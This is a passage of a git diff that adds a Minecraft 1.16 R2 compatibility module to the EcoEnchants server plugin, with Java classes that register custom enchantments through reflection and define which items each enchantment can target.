net.minecraft.server.v1_16_R2.BlockPosition; +import org.bukkit.block.Block; +import org.bukkit.craftbukkit.v1_16_R2.entity.CraftPlayer; +import org.bukkit.entity.Player; + +public class BlockBreak implements BlockBreakWrapper { + @Override + public void breakBlock(Player player, Block block) { + ((CraftPlayer)player).getHandle().playerInteractManager.breakBlock(new BlockPosition(block.getX(), block.getY(), block.getZ())); + } +} diff --git a/v1_16_R2/src/main/java/com/willfp/ecoenchants/v1_16_R2/Cooldown.java b/v1_16_R2/src/main/java/com/willfp/ecoenchants/v1_16_R2/Cooldown.java new file mode 100644 index 00000000..78474e01 --- /dev/null +++ b/v1_16_R2/src/main/java/com/willfp/ecoenchants/v1_16_R2/Cooldown.java @@ -0,0 +1,11 @@ +package com.willfp.ecoenchants.v1_16_R2; + +import com.willfp.ecoenchants.API.CooldownWrapper; +import org.bukkit.entity.Player; + +public class Cooldown implements CooldownWrapper { + @Override + public double getAttackCooldown(Player player) { + return player.getAttackCooldown(); + } +} diff --git a/v1_16_R2/src/main/java/com/willfp/ecoenchants/v1_16_R2/CraftEnchantWrapper.java b/v1_16_R2/src/main/java/com/willfp/ecoenchants/v1_16_R2/CraftEnchantWrapper.java new file mode 100644 index 00000000..61b1cc0f --- /dev/null +++ b/v1_16_R2/src/main/java/com/willfp/ecoenchants/v1_16_R2/CraftEnchantWrapper.java @@ -0,0 +1,58 @@ +package com.willfp.ecoenchants.v1_16_R2; + +import net.minecraft.server.v1_16_R2.Enchantment; +import org.bukkit.craftbukkit.v1_16_R2.enchantments.CraftEnchantment; +import org.bukkit.enchantments.EnchantmentTarget; +import org.bukkit.inventory.ItemStack; + +public class CraftEnchantWrapper extends CraftEnchantment { + private org.bukkit.enchantments.Enchantment bukkit; + + public CraftEnchantWrapper(Enchantment target, org.bukkit.enchantments.Enchantment bukkit) { + super(target); + this.bukkit = bukkit; + } + + @Override + public String getName() { + return this.bukkit.getName(); + } + + @Override + public int getMaxLevel() { + return this.bukkit.getMaxLevel(); + } + + @Override + public int getStartLevel() { + return this.bukkit.getStartLevel(); + } + + @Override + @Deprecated + public EnchantmentTarget getItemTarget() { + return this.bukkit.getItemTarget(); + } + + @Override + @Deprecated + public boolean isTreasure() { + return this.bukkit.isTreasure(); + } + + @Override + @Deprecated + public boolean isCursed() { + return this.bukkit.isCursed(); + } + + @Override + public boolean conflictsWith(org.bukkit.enchantments.Enchantment enchantment) { + return this.bukkit.conflictsWith(enchantment); + } + + @Override + public boolean canEnchantItem(ItemStack itemStack) { + return this.bukkit.canEnchantItem(itemStack); + } +} diff --git a/v1_16_R2/src/main/java/com/willfp/ecoenchants/v1_16_R2/NMSEnchant.java b/v1_16_R2/src/main/java/com/willfp/ecoenchants/v1_16_R2/NMSEnchant.java new file mode 100644 index 00000000..12f16843 --- /dev/null +++ b/v1_16_R2/src/main/java/com/willfp/ecoenchants/v1_16_R2/NMSEnchant.java @@ -0,0 +1,58 @@ +package com.willfp.ecoenchants.v1_16_R2; + +import net.minecraft.server.v1_16_R2.*; + +public class NMSEnchant extends Enchantment { + private org.bukkit.enchantments.Enchantment enchantment; + + public NMSEnchant(org.bukkit.enchantments.Enchantment enchantment) { + super(Enchantment.Rarity.COMMON, EnchantmentSlotType.BREAKABLE, new EnumItemSlot[]{}); + this.enchantment = enchantment; + } + + public void update(org.bukkit.enchantments.Enchantment enchantment) { + this.enchantment = enchantment; + } + + @Override + public int a(int var0) { + return Short.MAX_VALUE; + } + + @Override + public int getMaxLevel() { + return enchantment.getMaxLevel(); + } + + @Override + public boolean isTreasure() { + return true; + } + + @Override + public boolean c() { + return false; + } + + @Override + public boolean h() { + return false; + } + + @Override + public boolean i() { + return false; + } + + @Override + public IChatBaseComponent d(int level) { + IChatMutableComponent var1 = new ChatMessage(enchantment.getName()); + var1.a(EnumChatFormat.WHITE); + + if (level != 1 || this.getMaxLevel() != 1) { + var1.c(" ").addSibling(new ChatMessage("enchantment.level." + level)); + } + + return var1; + } +} diff --git a/v1_16_R2/src/main/java/com/willfp/ecoenchants/v1_16_R2/NMSEnchantManager.java b/v1_16_R2/src/main/java/com/willfp/ecoenchants/v1_16_R2/NMSEnchantManager.java new file mode 100644 index 00000000..aac50745 --- /dev/null +++ b/v1_16_R2/src/main/java/com/willfp/ecoenchants/v1_16_R2/NMSEnchantManager.java @@ -0,0 +1,75 @@ +package com.willfp.ecoenchants.v1_16_R2; + +import com.willfp.ecoenchants.API.NMSEnchantManagerWrapper; +import net.minecraft.server.v1_16_R2.Enchantment; +import net.minecraft.server.v1_16_R2.Enchantments; +import net.minecraft.server.v1_16_R2.IRegistry; +import net.minecraft.server.v1_16_R2.MinecraftKey; +import org.bukkit.Bukkit; +import org.bukkit.NamespacedKey; + +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.util.HashMap; +import java.util.Map; + +public class NMSEnchantManager implements NMSEnchantManagerWrapper { + private Map relatedMap = new HashMap<>(); + + + @Override + public void init(org.bukkit.enchantments.Enchantment enchantment) { + try { + Field byIdField = org.bukkit.enchantments.Enchantment.class.getDeclaredField("byKey"); + Field byNameField = org.bukkit.enchantments.Enchantment.class.getDeclaredField("byName"); + byIdField.setAccessible(true); + byNameField.setAccessible(true); + Map byKey = (Map) byIdField.get(null); + Map byName = (Map) byNameField.get(null); + byKey.remove(enchantment.getKey()); + byName.remove(enchantment.getName()); + + Map byNameClone = new HashMap<>(byName); + for(Map.Entry entry : byNameClone.entrySet()) { + if(entry.getValue().getKey().equals(enchantment.getKey())) { + byName.remove(entry.getKey()); + } + } + + Field f = org.bukkit.enchantments.Enchantment.class.getDeclaredField("acceptingNew"); + f.setAccessible(true); + f.set(null, true); + f.setAccessible(false); + + if(IRegistry.ENCHANTMENT.keySet().contains(new MinecraftKey(enchantment.getKey().getNamespace(), enchantment.getKey().getKey()))) { + byName.put(enchantment.getName(), enchantment); + byKey.put(enchantment.getKey(), enchantment); + if(relatedMap.get(enchantment) != null) { + relatedMap.get(enchantment).update(enchantment); + } + + return; + } + + relatedMap.put(enchantment, new NMSEnchant(enchantment)); + + Enchantment nmsEnchant = new NMSEnchant(enchantment); + + Method method = Enchantments.class.getDeclaredMethod("a", String.class, Enchantment.class); + method.setAccessible(true); + method.invoke(null, enchantment.getKey().getKey(), nmsEnchant); + + CraftEnchantWrapper wrappedEnchantment = new CraftEnchantWrapper(nmsEnchant, enchantment); + + org.bukkit.enchantments.Enchantment.registerEnchantment(wrappedEnchantment); + } catch (NoSuchMethodException | IllegalAccessException | InvocationTargetException | NoSuchFieldException e) { + e.printStackTrace(); + } + } + + @Override + public void debug() { + Bukkit.getLogger().info("IRegistry: " + IRegistry.ENCHANTMENT.keySet().toString()); + } +} diff --git a/v1_16_R2/src/main/java/com/willfp/ecoenchants/v1_16_R2/Target.java b/v1_16_R2/src/main/java/com/willfp/ecoenchants/v1_16_R2/Target.java new file mode 100644 index 00000000..bf1cbe19 --- /dev/null +++ b/v1_16_R2/src/main/java/com/willfp/ecoenchants/v1_16_R2/Target.java @@ -0,0 +1,158 @@ +package com.willfp.ecoenchants.v1_16_R2; + +import com.willfp.ecoenchants.API.TargetWrapper; +import org.bukkit.Material; + +import java.util.HashSet; +import java.util.Set; + +public class Target implements TargetWrapper { + + public final Set AXE = new HashSet() {{ + TargetWrapper.AXE.add(Material.WOODEN_AXE); + TargetWrapper.AXE.add(Material.STONE_AXE); + TargetWrapper.AXE.add(Material.IRON_AXE); + TargetWrapper.AXE.add(Material.GOLDEN_AXE); + TargetWrapper.AXE.add(Material.DIAMOND_AXE); + TargetWrapper.AXE.add(Material.NETHERITE_AXE); + }}; + + public final Set BOOK = new HashSet() {{ + TargetWrapper.BOOK.add(Material.BOOK); + TargetWrapper.BOOK.add(Material.ENCHANTED_BOOK); + }}; + + public final Set PICKAXE = new HashSet() {{ + TargetWrapper.PICKAXE.add(Material.WOODEN_PICKAXE); + TargetWrapper.PICKAXE.add(Material.STONE_PICKAXE); + TargetWrapper.PICKAXE.add(Material.IRON_PICKAXE); + TargetWrapper.PICKAXE.add(Material.GOLDEN_PICKAXE); + TargetWrapper.PICKAXE.add(Material.DIAMOND_PICKAXE); + TargetWrapper.PICKAXE.add(Material.NETHERITE_PICKAXE); + }}; + + public final Set HOE = new HashSet() {{ + TargetWrapper.HOE.add(Material.WOODEN_HOE); + TargetWrapper.HOE.add(Material.STONE_HOE); + TargetWrapper.HOE.add(Material.IRON_HOE); + TargetWrapper.HOE.add(Material.GOLDEN_HOE); + TargetWrapper.HOE.add(Material.DIAMOND_HOE); + TargetWrapper.HOE.add(Material.NETHERITE_HOE); + }}; + + public final Set SHOVEL = new HashSet() {{ + TargetWrapper.SHOVEL.add(Material.WOODEN_SHOVEL); + TargetWrapper.SHOVEL.add(Material.STONE_SHOVEL); + TargetWrapper.SHOVEL.add(Material.IRON_SHOVEL); + TargetWrapper.SHOVEL.add(Material.GOLDEN_SHOVEL); + TargetWrapper.SHOVEL.add(Material.DIAMOND_SHOVEL); + TargetWrapper.SHOVEL.add(Material.NETHERITE_SHOVEL); + }}; + + public final Set SWORD = new HashSet() {{ + TargetWrapper.SWORD.add(Material.WOODEN_SWORD); + TargetWrapper.SWORD.add(Material.STONE_SWORD); + TargetWrapper.SWORD.add(Material.IRON_SWORD); + TargetWrapper.SWORD.add(Material.GOLDEN_SWORD); + TargetWrapper.SWORD.add(Material.DIAMOND_SWORD); + TargetWrapper.SWORD.add(Material.NETHERITE_SWORD); + }}; + + public final Set HELMET = new HashSet() {{ + TargetWrapper.HELMET.add(Material.TURTLE_HELMET); + TargetWrapper.HELMET.add(Material.LEATHER_HELMET); + TargetWrapper.HELMET.add(Material.CHAINMAIL_HELMET); + TargetWrapper.HELMET.add(Material.IRON_HELMET); + TargetWrapper.HELMET.add(Material.GOLDEN_HELMET); + TargetWrapper.HELMET.add(Material.DIAMOND_HELMET); + TargetWrapper.HELMET.add(Material.NETHERITE_HELMET); + }}; + + public final Set CHESTPLATE = new HashSet() {{ + TargetWrapper.CHESTPLATE.add(Material.LEATHER_CHESTPLATE); + TargetWrapper.CHESTPLATE.add(Material.CHAINMAIL_CHESTPLATE); + TargetWrapper.CHESTPLATE.add(Material.IRON_CHESTPLATE); + TargetWrapper.CHESTPLATE.add(Material.GOLDEN_CHESTPLATE); + TargetWrapper.CHESTPLATE.add(Material.DIAMOND_CHESTPLATE); + TargetWrapper.CHESTPLATE.add(Material.NETHERITE_CHESTPLATE); + }}; + + public final Set LEGGINGS = new HashSet() {{ + TargetWrapper.LEGGINGS.add(Material.LEATHER_LEGGINGS); + TargetWrapper.LEGGINGS.add(Material.CHAINMAIL_LEGGINGS); + TargetWrapper.LEGGINGS.add(Material.IRON_LEGGINGS); + TargetWrapper.LEGGINGS.add(Material.GOLDEN_LEGGINGS); + TargetWrapper.LEGGINGS.add(Material.DIAMOND_LEGGINGS); + TargetWrapper.LEGGINGS.add(Material.NETHERITE_LEGGINGS); + }}; + + public final Set BOOTS = new HashSet() {{ + TargetWrapper.BOOTS.add(Material.LEATHER_BOOTS); + TargetWrapper.BOOTS.add(Material.CHAINMAIL_BOOTS); + TargetWrapper.BOOTS.add(Material.IRON_BOOTS); + TargetWrapper.BOOTS.add(Material.GOLDEN_BOOTS); + TargetWrapper.BOOTS.add(Material.DIAMOND_BOOTS); + TargetWrapper.BOOTS.add(Material.NETHERITE_BOOTS); + }}; + + public final Set ELYTRA = new HashSet() {{ + TargetWrapper.ELYTRA.add(Material.ELYTRA); + }}; + + public final Set BOW = new HashSet() {{ + TargetWrapper.BOW.add(Material.BOW); + }}; + + public final Set CROSSBOW = new HashSet() {{ + TargetWrapper.CROSSBOW.add(Material.CROSSBOW); + }}; + + public final Set SHEARS = new HashSet() {{ + TargetWrapper.SHEARS.add(Material.SHEARS); + }}; + + public final Set TRIDENT = new HashSet() {{ + TargetWrapper.TRIDENT.add(Material.TRIDENT); + }}; + + public final Set SHIELD = new HashSet() {{ + TargetWrapper.SHIELD.add(Material.SHIELD); + }}; + + public final Set ROD = new HashSet() {{ + TargetWrapper.ROD.add(Material.FISHING_ROD); + }}; + + + public final Set TOOL = new HashSet() {{ + TargetWrapper.TOOL.addAll(TargetWrapper.AXE); + TargetWrapper.TOOL.addAll(TargetWrapper.PICKAXE); + TargetWrapper.TOOL.addAll(TargetWrapper.SHOVEL); + TargetWrapper.TOOL.addAll(TargetWrapper.HOE); + TargetWrapper.TOOL.addAll(TargetWrapper.SHEARS); + }}; + + public final Set ARMOR = new HashSet() {{ + TargetWrapper.ARMOR.addAll(TargetWrapper.HELMET); + TargetWrapper.ARMOR.addAll(TargetWrapper.CHESTPLATE); + TargetWrapper.ARMOR.addAll(TargetWrapper.LEGGINGS); + TargetWrapper.ARMOR.addAll(TargetWrapper.BOOTS); + }}; + + public final Set ALL = new HashSet() {{ + TargetWrapper.ALL.addAll(TargetWrapper.TOOL); + TargetWrapper.ALL.addAll(TargetWrapper.ARMOR); + TargetWrapper.ALL.addAll(TargetWrapper.TRIDENT); + TargetWrapper.ALL.addAll(TargetWrapper.SHIELD); + TargetWrapper.ALL.addAll(TargetWrapper.BOW); + TargetWrapper.ALL.addAll(TargetWrapper.CROSSBOW); + TargetWrapper.ALL.addAll(TargetWrapper.ROD); + TargetWrapper.ALL.addAll(TargetWrapper.BOOK); + TargetWrapper.ALL.addAll(TargetWrapper.SWORD); + TargetWrapper.ALL.addAll(TargetWrapper.ELYTRA); + }}; + + public Target() { + + } +} diff --git a/v1_16_R2/src/main/java/com/willfp/ecoenchants/v1_16_R2/TridentStack.java b/v1_16_R2/src/main/java/com/willfp/ecoenchants/v1_16_R2/TridentStack.java new file mode 100644 index 00000000..43f5d8c4 --- /dev/null +++ b/v1_16_R2/src/main/java/com/willfp/ecoenchants/v1_16_R2/TridentStack.java @@ -0,0 +1,16 @@ +package com.willfp.ecoenchants.v1_16_R2; + +import com.willfp.ecoenchants.API.TridentStackWrapper; +import net.minecraft.server.v1_16_R2.EntityThrownTrident; +import org.bukkit.craftbukkit.v1_16_R2.entity.CraftTrident; +import org.bukkit.craftbukkit.v1_16_R2.inventory.CraftItemStack; +import org.bukkit.entity.Trident; +import org.bukkit.inventory.ItemStack; + +public class TridentStack implements TridentStackWrapper { + @Override + public ItemStack getTridentStack(Trident trident) { + EntityThrownTrident t = ((CraftTrident) trident).getHandle(); + return CraftItemStack.asBukkitCopy(t.trident); + } +} \ No newline at end of file diff --git a/v1_16_R2/v1_16_R2.iml b/v1_16_R2/v1_16_R2.iml new file mode 100644 index 00000000..61879a6b --- /dev/null +++ b/v1_16_R2/v1_16_R2.iml @@ -0,0 +1,24 @@ + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file